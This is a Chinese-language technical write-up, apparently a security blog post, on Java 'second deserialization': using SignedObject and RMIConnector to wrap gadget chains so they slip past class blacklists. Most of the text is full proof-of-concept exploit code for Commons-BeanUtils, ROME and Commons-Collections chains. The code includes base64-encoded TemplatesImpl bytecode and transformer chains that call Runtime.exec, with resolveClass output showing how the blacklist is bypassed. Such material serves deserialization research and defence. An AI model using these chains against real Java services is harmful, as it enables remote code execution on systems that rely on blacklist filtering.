二次反序列化 二次反序列化主要是为了绕过绕过黑名单的限制或不出⽹利⽤
SignedObject 这个类位于java.security包下,是⼀个⽤于创建真实运⾏时对象的类。该类实现了Serializable接⼝
SignedObject包含⼀个要签名的对象及其签名(Serializable对象)。签名对象是对原始对象以序列化的形式深层复制。
其构造⽅法就是对⼀个Serializable对象进⾏⼀次序列化操作
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 public SignedObject (Serializable object, PrivateKey signingKey, Signature signingEngine) throws IOException, InvalidKeyException, SignatureException { ByteArrayOutputStream b = new ByteArrayOutputStream (); ObjectOutput a = new ObjectOutputStream (b); a.writeObject(object); a.flush(); a.close(); this .content = b.toByteArray(); b.close(); this .sign(signingKey, signingEngine); }
将我们传入的序列化数据存在在content中
⽽这个类提供的getObject⽅法就是反序列化还原这个对象
1 2 3 4 5 6 7 8 9 10 11 public Object getObject () throws IOException, ClassNotFoundException { ByteArrayInputStream b = new ByteArrayInputStream (this .content); ObjectInput a = new ObjectInputStream (b); Object obj = a.readObject(); b.close(); a.close(); return obj; }
那么我们只要构造一个我们需要的这个类然后想办法触发这个getObjetc就行了
cb链 在CB链中⽤到了调⽤某个类getter⽅法的思想,⽽getObject好像也是个getter⽅法
对应org.apache.commons.beanutils.BeanComparator类的compare⽅法
所以直接写链子
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;import org.apache.commons.beanutils.BeanComparator;import java.io.*;import java.lang.reflect.Field;import java.security.KeyPair;import java.security.KeyPairGenerator;import java.security.Signature;import java.security.SignedObject;import java.util.Base64;import java.util.PriorityQueue;public class cb { public static void main (String[] args) throws Exception{ TemplatesImpl impl = new TemplatesImpl (); byte [] code = Base64.getDecoder().decode( "yv66vgAAADQAIQoABgATCgAUABUIABYKABQAFwcAGAcAGQEABjxpbml0PgEAAygpVgEABENvZGUB" + "AA9MaW5lTnVtYmVyVGFibGUBAApFeGNlcHRpb25zBwAaAQAJdHJhbnNmb3JtAQByKExjb20vc3Vu" + "L29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvRE9NO1tMY29tL3N1bi9vcmcvYXBhY2hl" + "L3htbC9pbnRlcm5hbC9zZXJpYWxpemVyL1NlcmlhbGl6YXRpb25IYW5kbGVyOylWBwAbAQCmKExj" + "b20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvRE9NO0xjb20vc3VuL29yZy9h" + "cGFjaGUveG1sL2ludGVybmFsL2R0bS9EVE1BeGlzSXRlcmF0b3I7TGNvbS9zdW4vb3JnL2FwYWNo" + "ZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjspVgEAClNvdXJj" + "ZUZpbGUBAAdpby5qYXZhDAAHAAgHABwMAB0AHgEABGNhbGMMAB8AIAEADGNvbS9sYWdvdS9pbwEA" + "QGNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9ydW50aW1lL0Fic3RyYWN0" + "VHJhbnNsZXQBABNqYXZhL2lvL0lPRXhjZXB0aW9uAQA5Y29tL3N1bi9vcmcvYXBhY2hlL3hhbGFu" + "L2ludGVybmFsL3hzbHRjL1RyYW5zbGV0RXhjZXB0aW9uAQARamF2YS9sYW5nL1J1bnRpbWUBAApn" + "ZXRSdW50aW1lAQAVKClMamF2YS9sYW5nL1J1bnRpbWU7AQAEZXhlYwEAJyhMamF2YS9sYW5nL1N0" + "cmluZzspTGphdmEvbGFuZy9Qcm9jZXNzOwAhAAUABgAAAAAAAwABAAcACAACAAkAAAAuAAIAAQAA" + "AA4qtwABuAACEgO2AARXsQAAAAEACgAAAA4AAwAAAAoABAALAA0ADAALAAAABAABAAwAAQANAA4A" + "AgAJAAAAGQAAAAMAAAABsQAAAAEACgAAAAYAAQAAAA8ACwAAAAQAAQAPAAEADQAQAAIACQAAABkA" + "AAAEAAAAAbEAAAABAAoAAAAGAAEAAAASAAsAAAAEAAEADwABABEAAAACABI=" ); setFieldValue(impl,"_name" ,"baicany" ); setFieldValue(impl,"_bytecodes" ,new byte [][]{code}); setFieldValue(impl,"_class" ,null ); PriorityQueue queue1 = getQueue(impl,"outputProperties" ); KeyPairGenerator kpg = KeyPairGenerator.getInstance("DSA" ); kpg.initialize(1024 ); KeyPair kp = kpg.generateKeyPair(); SignedObject signedObject = new SignedObject (queue1, kp.getPrivate(), Signature.getInstance("DSA" )); PriorityQueue queue2 = getQueue(signedObject, "object" ); ByteArrayOutputStream barr = new ByteArrayOutputStream (); ObjectOutputStream oos = new ObjectOutputStream (barr); oos.writeObject(queue2); oos.close(); ByteArrayInputStream in = new ByteArrayInputStream (barr.toByteArray()); ObjectInputStream ois = new ObjectInputStream (in); Object ob = (Object) ois.readObject(); } public static void setFieldValue (final Object obj, final String fieldName, final Object value) throws Exception { final Field field = getField(obj.getClass(), fieldName); field.set(obj, value); } public static Field getField (final Class<?> clazz, final String fieldName) { Field field = null ; try { field = clazz.getDeclaredField(fieldName); field.setAccessible(true ); } catch (NoSuchFieldException ex) { if (clazz.getSuperclass() != null ) field = getField(clazz.getSuperclass(), fieldName); } return field; } public static PriorityQueue getQueue (Object object, String string) throws Exception { BeanComparator beanComparator = new BeanComparator (null , String.CASE_INSENSITIVE_ORDER); PriorityQueue queue = new PriorityQueue (2 , beanComparator); queue.add("1" ); queue.add("2" ); setFieldValue(beanComparator, "property" , string); setFieldValue(queue, "queue" , new Object []{object, null }); return queue; } }
这⾥我编写了⼀个Security类,重写了resolveClass⽅法,这个⽅法主要⽤于获取反序列化需要⽤到的Class对象
1 2 3 4 5 6 7 8 9 10 public class Security extends ObjectInputStream { public Security (InputStream in) throws IOException { super (in); } @Override protected Class<?> resolveClass(ObjectStreamClass desc) throws IOException, ClassNotFoundException { System.out.println(desc.getName()); return super .resolveClass(desc); } }
正常的CB链输出
1 2 3 4 5 6 7 8 java.util.PriorityQueue org.apache.commons.beanutils.BeanComparator java.lang.String$CaseInsensitiveComparator com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl [[B [B java.lang.Integer java.lang.Number
利⽤到了TemplatesImpl类来加载字节码,使⽤会获取TemplatesImpl的Class对象
⼆次反序列化CB链的输出
1 2 3 4 5 6 7 java.util.PriorityQueue org.apache.commons.beanutils.BeanComparator java.lang.String$CaseInsensitiveComparator java.security.SignedObject [B java.lang.Integer java.lang.Number
是⽤到SignedObject类的getObject⽅法触发另⼀个反序列化
由此可⻅,可以绕过⼀些⿊名单的限制
rome 第⼆反应就是rome链,
ToStringBean 调⽤链⽤到ToStringBean.toString()⽅法
也是直接写poc,这里用的是hashmap,用之前分析过的链子就行了
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;import com.sun.syndication.feed.impl.EqualsBean;import com.sun.syndication.feed.impl.ObjectBean;import javax.xml.transform.Templates;import java.io.*;import java.lang.reflect.Field;import java.security.KeyPair;import java.security.KeyPairGenerator;import java.security.Signature;import java.security.SignedObject;import java.util.Base64;import java.util.HashMap;public class rome { public static void main (String[] args) throws Exception { TemplatesImpl impl = new TemplatesImpl (); byte [] code = Base64.getDecoder().decode( "yv66vgAAADQAIQoABgATCgAUABUIABYKABQAFwcAGAcAGQEABjxpbml0PgEAAygpVgEABENvZGUB" + "AA9MaW5lTnVtYmVyVGFibGUBAApFeGNlcHRpb25zBwAaAQAJdHJhbnNmb3JtAQByKExjb20vc3Vu" + "L29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvRE9NO1tMY29tL3N1bi9vcmcvYXBhY2hl" + "L3htbC9pbnRlcm5hbC9zZXJpYWxpemVyL1NlcmlhbGl6YXRpb25IYW5kbGVyOylWBwAbAQCmKExj" + "b20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvRE9NO0xjb20vc3VuL29yZy9h" + "cGFjaGUveG1sL2ludGVybmFsL2R0bS9EVE1BeGlzSXRlcmF0b3I7TGNvbS9zdW4vb3JnL2FwYWNo" + "ZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjspVgEAClNvdXJj" + "ZUZpbGUBAAdpby5qYXZhDAAHAAgHABwMAB0AHgEABGNhbGMMAB8AIAEADGNvbS9sYWdvdS9pbwEA" + "QGNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9ydW50aW1lL0Fic3RyYWN0" + "VHJhbnNsZXQBABNqYXZhL2lvL0lPRXhjZXB0aW9uAQA5Y29tL3N1bi9vcmcvYXBhY2hlL3hhbGFu" + "L2ludGVybmFsL3hzbHRjL1RyYW5zbGV0RXhjZXB0aW9uAQARamF2YS9sYW5nL1J1bnRpbWUBAApn" + "ZXRSdW50aW1lAQAVKClMamF2YS9sYW5nL1J1bnRpbWU7AQAEZXhlYwEAJyhMamF2YS9sYW5nL1N0" + "cmluZzspTGphdmEvbGFuZy9Qcm9jZXNzOwAhAAUABgAAAAAAAwABAAcACAACAAkAAAAuAAIAAQAA" + "AA4qtwABuAACEgO2AARXsQAAAAEACgAAAA4AAwAAAAoABAALAA0ADAALAAAABAABAAwAAQANAA4A" + "AgAJAAAAGQAAAAMAAAABsQAAAAEACgAAAAYAAQAAAA8ACwAAAAQAAQAPAAEADQAQAAIACQAAABkA" + "AAAEAAAAAbEAAAABAAoAAAAGAAEAAAASAAsAAAAEAAEADwABABEAAAACABI=" ); setFieldValue(impl, "_name" , "baicany" ); setFieldValue(impl, "_bytecodes" , new byte [][]{code}); setFieldValue(impl, "_class" , null ); setFieldValue(impl, "_tfactory" , new TransformerFactoryImpl ()); HashMap map1 = getHashMap(Templates.class, impl); KeyPairGenerator kpg = KeyPairGenerator.getInstance("DSA" ); kpg.initialize(1024 ); KeyPair kp = kpg.generateKeyPair(); SignedObject signedObject = new SignedObject (map1, kp.getPrivate(), Signature.getInstance("DSA" )); HashMap map2 = getHashMap(SignedObject.class, signedObject); ByteArrayOutputStream barr = new ByteArrayOutputStream (); ObjectOutputStream oos = new ObjectOutputStream (barr); oos.writeObject(map2); oos.close(); ByteArrayInputStream in = new ByteArrayInputStream (barr.toByteArray()); ObjectInputStream ois = new ObjectInputStream (in); Object ob = (Object) ois.readObject(); } public static void setFieldValue (Object obj, String fieldName, Object value) throws Exception { Field field = obj.getClass().getDeclaredField(fieldName); field.setAccessible(true ); field.set(obj, value); } public static HashMap getHashMap (Class clazz, Object obj) throws Exception { ObjectBean objectBean = new ObjectBean (ObjectBean.class, new ObjectBean (String.class, "rand" )); HashMap hashMap = new HashMap (); hashMap.put(objectBean, "rand" ); ObjectBean expObjectBean = new ObjectBean (clazz, obj); setFieldValue(objectBean, "_equalsBean" , new EqualsBean (ObjectBean.class, expObjectBean)); return hashMap; } }
EqualsBean rome 链的关键转折点在于pReadMethod.invoke(_obj,NO_PARAMS)
,EqualsBean
也存在这个关键代码
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 public boolean beanEquals (Object obj) { Object bean1 = this ._obj; Object bean2 = obj; boolean eq; if (obj == null ) { eq = false ; } else if (bean1 == null && obj == null ) { eq = true ; } else if (bean1 != null && obj != null ) { if (!this ._beanClass.isInstance(obj)) { eq = false ; } else { eq = true ; try { PropertyDescriptor[] pds = BeanIntrospector.getPropertyDescriptors(this ._beanClass); if (pds != null ) { for (int i = 0 ; eq && i < pds.length; ++i) { Method pReadMethod = pds[i].getReadMethod(); if (pReadMethod != null && pReadMethod.getDeclaringClass() != Object.class && pReadMethod.getParameterTypes().length == 0 ) { Object value1 = pReadMethod.invoke(bean1, NO_PARAMS); Object value2 = pReadMethod.invoke(bean2, NO_PARAMS);
而它的equals能触发这个方法
1 2 3 public boolean equals (Object obj) { return this .beanEquals(obj); }
所以想着cc7链的equals
所以写poc
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;import com.sun.syndication.feed.impl.EqualsBean;import javax.xml.transform.Templates;import java.io.ByteArrayInputStream;import java.io.ByteArrayOutputStream;import java.io.ObjectInputStream;import java.io.ObjectOutputStream;import java.lang.reflect.Field;import java.security.*;import java.util.Base64;import java.util.HashMap;import java.util.Hashtable;public class rome { public static void main (String[] args) throws Exception{ TemplatesImpl impl = new TemplatesImpl (); byte [] code = Base64.getDecoder().decode( "yv66vgAAADQAIQoABgATCgAUABUIABYKABQAFwcAGAcAGQEABjxpbml0PgEAAygpVgEABENvZGUB" + "AA9MaW5lTnVtYmVyVGFibGUBAApFeGNlcHRpb25zBwAaAQAJdHJhbnNmb3JtAQByKExjb20vc3Vu" + "L29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvRE9NO1tMY29tL3N1bi9vcmcvYXBhY2hl" + "L3htbC9pbnRlcm5hbC9zZXJpYWxpemVyL1NlcmlhbGl6YXRpb25IYW5kbGVyOylWBwAbAQCmKExj" + "b20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvRE9NO0xjb20vc3VuL29yZy9h" + "cGFjaGUveG1sL2ludGVybmFsL2R0bS9EVE1BeGlzSXRlcmF0b3I7TGNvbS9zdW4vb3JnL2FwYWNo" + "ZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjspVgEAClNvdXJj" + "ZUZpbGUBAAdpby5qYXZhDAAHAAgHABwMAB0AHgEABGNhbGMMAB8AIAEADGNvbS9sYWdvdS9pbwEA" + "QGNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9ydW50aW1lL0Fic3RyYWN0" + "VHJhbnNsZXQBABNqYXZhL2lvL0lPRXhjZXB0aW9uAQA5Y29tL3N1bi9vcmcvYXBhY2hlL3hhbGFu" + "L2ludGVybmFsL3hzbHRjL1RyYW5zbGV0RXhjZXB0aW9uAQARamF2YS9sYW5nL1J1bnRpbWUBAApn" + "ZXRSdW50aW1lAQAVKClMamF2YS9sYW5nL1J1bnRpbWU7AQAEZXhlYwEAJyhMamF2YS9sYW5nL1N0" + "cmluZzspTGphdmEvbGFuZy9Qcm9jZXNzOwAhAAUABgAAAAAAAwABAAcACAACAAkAAAAuAAIAAQAA" + "AA4qtwABuAACEgO2AARXsQAAAAEACgAAAA4AAwAAAAoABAALAA0ADAALAAAABAABAAwAAQANAA4A" + "AgAJAAAAGQAAAAMAAAABsQAAAAEACgAAAAYAAQAAAA8ACwAAAAQAAQAPAAEADQAQAAIACQAAABkA" + "AAAEAAAAAbEAAAABAAoAAAAGAAEAAAASAAsAAAAEAAEADwABABEAAAACABI=" ); setFieldValue(impl, "_name" , "baicany" ); setFieldValue(impl, "_bytecodes" , new byte [][]{code}); setFieldValue(impl, "_class" , null ); setFieldValue(impl, "_tfactory" , new TransformerFactoryImpl ()); Hashtable table1 = getPayload(Templates.class, impl); KeyPairGenerator kpg = KeyPairGenerator.getInstance("DSA" ); kpg.initialize(1024 ); KeyPair kp = kpg.generateKeyPair(); SignedObject signedObject = new SignedObject (table1, kp.getPrivate(), Signature.getInstance("DSA" )); Hashtable table2 = getPayload(SignedObject.class, signedObject); ByteArrayOutputStream barr = new ByteArrayOutputStream (); ObjectOutputStream oos = new ObjectOutputStream (barr); oos.writeObject(table2); oos.close(); ByteArrayInputStream in = new ByteArrayInputStream (barr.toByteArray()); ObjectInputStream ois = new ObjectInputStream (in); Object ob = (Object) ois.readObject(); } public static Hashtable getPayload (Class clazz, Object payloadObj) throws Exception{ EqualsBean bean = new EqualsBean (String.class, "r" ); HashMap map1 = new HashMap (); HashMap map2 = new HashMap (); map1.put("yy" , bean); map1.put("zZ" , payloadObj); map2.put("zZ" , bean); map2.put("yy" , payloadObj); Hashtable table = new Hashtable (); table.put(map1, "1" ); table.put(map2, "2" ); setFieldValue(bean, "_beanClass" , clazz); setFieldValue(bean, "_obj" , payloadObj); return table; } public static void setFieldValue (Object obj, String fieldName, Object value) throws Exception { Field field = obj.getClass().getDeclaredField(fieldName); field.setAccessible(true ); field.set(obj, value); } }
仔细调试调用里面的时候真觉得好nb的,也用到了之后讲的c7如何用invoke控制输入的问题吧
RMIConnector 位于javax.management.remote.rmi包下,⽤于与rmi连接器连接的类
RMIConnector.findRMIServerJRMP⽅法中,存在⼀处反序列化操作
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 private RMIServer findRMIServerJRMP (String base64, Map<String, ?> env, boolean isIiop) throws IOException { final byte [] serialized; try { serialized = base64ToByteArray(base64); } catch (IllegalArgumentException e) { throw new MalformedURLException ("Bad BASE64 encoding: " + e.getMessage()); } final ByteArrayInputStream bin = new ByteArrayInputStream (serialized); final ClassLoader loader = EnvHelp.resolveClientClassLoader(env); final ObjectInputStream oin = (loader == null ) ? new ObjectInputStream (bin) : new ObjectInputStreamWithLoader (bin, loader); final Object stub; try { stub = oin.readObject();
⼤体逻辑就是对⼀个base64密⽂字符串解密后进⾏反序列化
ObjectInputStreamWithLoader类重写了resovleClass⽅法,跟原⽣resovleClass⽅法没有太⼤差别,不影响调⽤
但由于这个⽅法被private修饰,不能从外部访问,全局寻找这个⽅法,只有⼀处调⽤了findRMIServerJRMP⽅法,位于
findRMIServer⽅法
1 2 3 4 5 6 7 String path = directoryURL.getURLPath();int end = path.indexOf(';' );if (end < 0 ) end = path.length();if (path.startsWith("/jndi/" )) return findRMIServerJNDI(path.substring(6 ,end), environment, isIiop); else if (path.startsWith("/stub/" )) return findRMIServerJRMP(path.substring(6 ,end), environment, isIiop);
也就是我们要构造⼀个 /stub/base64 的path
这里path是
1 String path = directoryURL.getURLPath();
而directoryURL是传入的JMXServiceURL类
1 2 private RMIServer findRMIServer (JMXServiceURL directoryURL, Map<String, Object> environment)
而JMXServiceURL的构造方法是
1 2 public JMXServiceURL (String protocol, String host, int port, String urlPath)
这个urlpath就是我们可控的
继续找哪里调用了这个方法,发现在connect中
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 public synchronized void connect (Map<String,?> environment) throws IOException { final boolean tracing = logger.traceOn(); String idstr = (tracing?"[" +this .toString()+"]" :null ); if (terminated) { logger.trace("connect" ,idstr + " already closed." ); throw new IOException ("Connector closed" ); } if (connected) { logger.trace("connect" ,idstr + " already connected." ); return ; } try { if (tracing) logger.trace("connect" ,idstr + " connecting..." ); final Map<String, Object> usemap = new HashMap <String, Object>((this .env==null ) ? Collections.<String, Object>emptyMap() : this .env); if (environment != null ) { EnvHelp.checkAttributes(environment); usemap.putAll(environment); } if (tracing) logger.trace("connect" ,idstr + " finding stub..." ); RMIServer stub = (rmiServer!=null )?rmiServer: findRMIServer(jmxServiceURL, usemap);
这里要求rmiserver为null就能调用了
来看看构造方法发现
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 private RMIConnector (RMIServer rmiServer, JMXServiceURL address, Map<String, ?> environment) { if (rmiServer == null && address == null ) throw new IllegalArgumentException ("rmiServer and jmxServiceURL both null" ); initTransients(); this .rmiServer = rmiServer; this .jmxServiceURL = address; if (environment == null ) { this .env = Collections.emptyMap(); } else { EnvHelp.checkAttributes(environment); this .env = Collections.unmodifiableMap(environment); } } public RMIConnector (JMXServiceURL url, Map<String,?> environment) { this (null , url, environment); } public RMIConnector (RMIServer rmiServer, Map<String,?> environment) { this (rmiServer, null , environment); }
构造的话我们还是只能用第三个了,不然会扔错,返回反射改jmxServiceURL的值就行了
就是想办法调用connect方法了
1 2 3 JMXServiceURL jmxServiceURL = new JMXServiceURL ("service:jmx:rmi://" );setFieldValue(jmxServiceURL, "urlPath" , "/stub/base64string" ); RMIConnector rmiConnector = new RMIConnector (jmxServiceURL, null );
利用cc链
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 import org.apache.commons.collections.Transformer;import org.apache.commons.collections.functors.ChainedTransformer;import org.apache.commons.collections.functors.ConstantTransformer;import org.apache.commons.collections.functors.InvokerTransformer;import org.apache.commons.collections.keyvalue.TiedMapEntry;import org.apache.commons.collections.map.LazyMap;import javax.management.remote.JMXServiceURL;import javax.management.remote.rmi.RMIConnector;import java.io.*;import java.lang.reflect.Field;import java.util.Base64;import java.util.HashMap;import java.util.Map;public class cc6 { public static void main (String[] args) throws Exception{ Transformer[] transformers = new Transformer []{ new ConstantTransformer (Runtime.class), new InvokerTransformer ("getMethod" ,new Class []{String.class,Class[].class},new Object []{"getRuntime" ,null }), new InvokerTransformer ("invoke" ,new Class []{Object.class,Object[].class},new Object []{null , null }), new InvokerTransformer ("exec" ,new Class []{String.class},new Object []{"calc" }) }; ChainedTransformer chainedTransformer = new ChainedTransformer (transformers); HashMap<Object, Object> hashMap = new HashMap <>(); Map lazyMap = LazyMap.decorate(hashMap, new ConstantTransformer (1 )); TiedMapEntry tiedMapEntry = new TiedMapEntry (lazyMap,"1" ); HashMap<Object, Object> hashMap1 = new HashMap <>(); hashMap1.put(tiedMapEntry, "2" ); lazyMap.remove("1" ); setFieldValue(lazyMap,"factory" ,chainedTransformer); String s = serializeBase64(hashMap1); run(s); } public static void run (String base64) throws Exception{ JMXServiceURL jmxServiceURL = new JMXServiceURL ("service:jmx:rmi://" ); setFieldValue(jmxServiceURL, "urlPath" , "/stub/" +base64); RMIConnector rmiConnector = new RMIConnector (jmxServiceURL, null ); InvokerTransformer connect = new InvokerTransformer ("connect" , null , null ); HashMap<Object, Object> hashMap = new HashMap <>(); Map lazyMap = LazyMap.decorate(hashMap, new ConstantTransformer (1 )); TiedMapEntry tiedMapEntry = new TiedMapEntry (lazyMap,rmiConnector); HashMap<Object, Object> hashMap1 = new HashMap <>(); hashMap1.put(tiedMapEntry, "2" ); lazyMap.remove(rmiConnector); setFieldValue(lazyMap,"factory" ,connect); byte [] serialize = serialize(hashMap1); unserialize(serialize); } public static void setFieldValue (Object obj, String fieldName, Object value) throws Exception{ Field field = obj.getClass().getDeclaredField(fieldName); field.setAccessible(true ); field.set(obj, value); } public static byte [] serialize(Object object) throws Exception { ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream (); ObjectOutputStream objectOutputStream = new ObjectOutputStream (byteArrayOutputStream); objectOutputStream.writeObject(object); System.out.println("Serialize Ok!" ); String s = Base64.getEncoder().encodeToString(byteArrayOutputStream.toByteArray()); System.out.println(s); System.out.println(s.length()); return byteArrayOutputStream.toByteArray(); } public static String serializeBase64 (Object object) throws Exception { ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream (); ObjectOutputStream objectOutputStream = new ObjectOutputStream (byteArrayOutputStream); objectOutputStream.writeObject(object); String s = Base64.getEncoder().encodeToString(byteArrayOutputStream.toByteArray()); return s; } public static void unserialize (byte [] ser) throws Exception { ObjectInputStream objectInputStream = new ObjectInputStream (new ByteArrayInputStream (ser)); objectInputStream.readObject(); System.out.println("Unserialize Ok!" ); } }
C3P0 就是之前hex了